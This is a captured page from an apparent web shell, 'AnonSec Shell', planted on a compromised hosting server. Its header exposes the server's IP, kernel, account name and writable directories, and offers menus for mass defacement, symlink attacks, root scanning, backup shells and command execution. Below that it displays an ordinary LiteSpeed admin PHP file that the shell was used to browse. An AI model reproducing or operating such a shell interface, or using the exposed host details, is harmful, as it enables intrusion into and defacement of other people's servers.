AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 18.117.73.72   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/html.6.2.1/service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/local/lsws/admin/html.6.2.1/service/serviceMgr.php
<?php

require_once('../includes/auth.php');

// this will force login
$product = PRODUCT::GetInstance();

$act = DUtil::getGoodVal(DUtil::grab_input('request','act'));
$actId = DUtil::getGoodVal(DUtil::grab_input('request','actId'));
$vl = DUtil::getGoodVal(DUtil::grab_input('request','vl'));
$tk = DUtil::getGoodVal(DUtil::grab_input('request','tk'));

// validate all inputs
$actions = array('', 'restart', 'upgrade', 'switchTo', // restart required
    'RESET_ALL_PHP_PROCESSES',
    'toggledbg', 'download', 'enable', 'disable', 'remove', 'validatelicense');

$vloptions = array('', '1','2','3','4');
if (!in_array($vl, $vloptions) || !in_array($act, $actions)) {
	echo "Illegal Entry Point!";
	return; // illegal entry
}
if ($act != '') {
	if ($tk != CLIENT::singleton()->getToken()) {
		echo "Illegal Entry Point!";
		return; // illegal entry
	}
}

$confCenter = ConfCenter::singleton();

$service = new Service();
$service->init();
$service->refreshConf($confCenter->ExportConf());

//check if require restart
if ( ($act == 'restart' && $actId == '') || $act == 'switchTo')
{
	header("location:restart.html");
	$service->process($act, $actId);
	return;
}
elseif ($act == 'upgrade')
{
	if ($service->download($actId))
	{
		header("location:restart.html");
		$service->process($act, $actId);
		return;
	}
	else
	{
		$error = "Failed to download release $actId! Please try upgrade manually.";
	}

}
elseif (in_array($act, array('toggledbg', 'enable', 'disable', 'restart', 'remove',
    'validatelicense', 'RESET_ALL_PHP_PROCESSES'))) //other no-restart actions
{
	if ($act == 'disable' || $act == 'enable') {
		$confCenter->enableDisableVh($act, $actId);
	}

	$service->process($act, $actId);
}

echo GUI::header($service->serv['name']);
echo GUI::top_menu();

switch($vl)
{
	case '1': include 'logViewer.php';
		break;
	case '2': include 'realtimeReport.php';
		break;
	case '3':
		if ($act == 'download') {
			include 'verMgrDownload.php';
		}
		else {
			include 'verMgrCont.php';
		}
		break;
	case '4': include 'realtimeReqReport.php';
		break;

	default: include 'homeCont.php';
		break;
}

echo GUI::footer();

Anon7 - 2022
AnonSec Team